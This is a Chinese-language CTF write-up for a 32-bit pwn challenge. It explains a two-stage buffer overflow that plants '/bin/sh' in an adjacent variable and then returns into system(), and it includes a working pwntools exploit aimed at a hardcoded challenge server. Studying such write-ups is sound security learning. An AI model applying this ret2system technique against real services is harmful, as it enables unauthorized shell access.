为了上800分也是够了…
题目地址:pwn
看了几篇wp,觉得写得总是差那么一丢丢意思
首先检查溢出点
通过双击A可以看到,A这个数组的大小为40
但其可以接受64个字符的大小
所以这是第一个溢出点
然后往下看
虽然明面上显示的是输入s是有限制的
限制为n
但是当我们双击n的时候会发现
n就在A的下面
因此我们可以通过A来溢出到n
在函数列表中我们可以看到有一个函数
名字叫做pwnme
这部明显是关键函数么
点开一看
果然
里面含有system函数
但是我们通过查找字符串发现
并没有/bin/sh字符串
因此我们需要自己去构造一个
因此我的exp为:
from pwn import *
p = remote("182.254.217.142","10001")
p.recvuntil("your choice:")
p.sendline("1")
p.recvuntil("you can leave some message here:")
payload1 = 'a'*40+'/bin/sh'
p.sendline(payload1)
p.recvuntil("your name please:")
payload2 = 'a'*0x34+p32(0x080483f0)+'a'*4+p32(0x0804a0a8)
p.sendline(payload2)
p.interactive()
前面几行就不解释了
从payload1开始
payload1 = ‘a’*40+’/bin/sh’
这是为了溢出A
使n的值为‘/bin/sh’
然后看payload2
payload2 = ‘a’*0x34+p32(0x080483f0)+‘a’*4+p32(0x0804a0a8)
由于输入的s到返回地址的距离为0x34(这个就不解释了)
然后就开始输入我们的指令了
首先
0x080483f0是system的地址
之后的 ’a’*4 是因为每个函数在call时,堆栈的栈顶是返回地址,所以这里随便用4个’a’充当返回地址,下一个参数为system的参数
我们知道下一个参数就是’/bin/sh’了
所以’/bin/sh’的地址就是n的地址了
IDA可以看到n的地址为0x0804a0a8
因此exp就构造完成了